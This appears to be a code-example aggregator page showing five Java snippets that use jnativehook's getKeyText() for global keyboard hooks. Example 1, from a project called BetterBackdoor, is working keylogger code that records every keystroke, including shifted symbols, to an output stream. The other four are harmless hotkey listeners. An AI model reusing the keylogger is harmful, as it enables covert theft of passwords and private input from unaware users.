Java Code Examples for org.jnativehook.keyboard.NativeKeyEvent#getKeyText()
The following examples show how to use
org.jnativehook.keyboard.NativeKeyEvent#getKeyText() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: KeyLogger.java From BetterBackdoor with MIT License | 5 votes |
@Override public void nativeKeyPressed(NativeKeyEvent key) { String pressed = NativeKeyEvent.getKeyText(key.getKeyCode()); if (pressed.equals("Shift")) shift = true; if (key.isActionKey()) out.print("[" + pressed + "]"); else if (pressed.equals("Backspace")) out.print("[Back]"); else if (pressed.equals("Space")) out.print(" "); else if (pressed.equals("Tab")) out.print("\t"); else if (pressed.equals("Enter")) out.println(); else if (shift) { if (pressed.matches("[A-Z]")) out.print(pressed); else if (pressed.equals("1")) out.print("!"); else if (pressed.equals("2")) out.print("@"); else if (pressed.equals("3")) out.print("#"); else if (pressed.equals("4")) out.print("$"); else if (pressed.equals("5")) out.print("%"); else if (pressed.equals("6")) out.print("^"); else if (pressed.equals("7")) out.print("&"); else if (pressed.equals("8")) out.print("*"); else if (pressed.equals("9")) out.print("("); else if (pressed.equals("0")) out.print(")"); else if (pressed.equals("Minus")) out.print("_"); else if (pressed.equals("Equals")) out.print("+"); else if (pressed.equals("Open Bracket")) out.print("{"); else if (pressed.equals("Close Bracket")) out.print("}"); else if (pressed.equals("Back Slash")) out.print("|"); else if (pressed.equals("Semicolon")) out.print(":"); else if (pressed.equals("Quote")) out.print("\""); else if (pressed.equals("Comma")) out.print("<"); else if (pressed.equals("Period")) out.print(">"); else if (pressed.equals("Dead Acute")) out.print("?"); else if (pressed.equals("Back Quote")) out.print("~"); } else { if (pressed.matches("[a-zA-Z0-9]")) out.print(pressed.toLowerCase()); else if (pressed.equals("Minus")) out.print("-"); else if (pressed.equals("Equals")) out.print("="); else if (pressed.equals("Open Bracket")) out.print("["); else if (pressed.equals("Close Bracket")) out.print("]"); else if (pressed.equals("Back Slash")) out.print("\\"); else if (pressed.equals("Semicolon")) out.print(";"); else if (pressed.equals("Quote")) out.print("'"); else if (pressed.equals("Comma")) out.print(","); else if (pressed.equals("Period")) out.print("."); else if (pressed.equals("Dead Acute")) out.print("/"); else if (pressed.equals("Back Quote")) out.print("`"); } out.flush(); }
Example 2
Source File: GlobalKeyListener.java From Path-of-Leveling with MIT License | 5 votes |
@Override public void nativeKeyPressed(NativeKeyEvent e) { //System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode())); mapper.add(e.getKeyCode()); String input = "Key Pressed: "; for(Integer a : mapper){ input+= "+ " + NativeKeyEvent.getKeyText(a); } //System.out.println(input); handle(); }
Example 3
Source File: GlobalShortcutListener.java From nanoleaf-desktop with MIT License | 5 votes |
@Override public void nativeKeyPressed(NativeKeyEvent e) { String key = NativeKeyEvent.getKeyText(e.getKeyCode()); if (!pressedKeys.contains(key)) { pressedKeys.add(key); } checkKeyShortcuts(0); }
Example 4
Source File: GlobalShortcutListener.java From nanoleaf-desktop with MIT License | 5 votes |
@Override public void nativeKeyReleased(NativeKeyEvent e) { String key = NativeKeyEvent.getKeyText(e.getKeyCode()); if (pressedKeys.contains(key)) { pressedKeys.remove(key); } checkKeyShortcuts(1); }
Example 5
Source File: GlobalKeyListener.java From pmTrans with GNU Lesser General Public License v3.0 | 5 votes |
private boolean evaluateKeyEvent(NativeKeyEvent event, char key) { String keyText = NativeKeyEvent.getKeyText(event.getKeyCode()); keyText = keyText.equals("Space") ? " " : keyText; Character pressed = keyText.length() == 1 ? keyText.charAt(0) : null; return event.getModifiers() == NativeKeyEvent.CTRL_MASK && pressed != null && pressed == key; }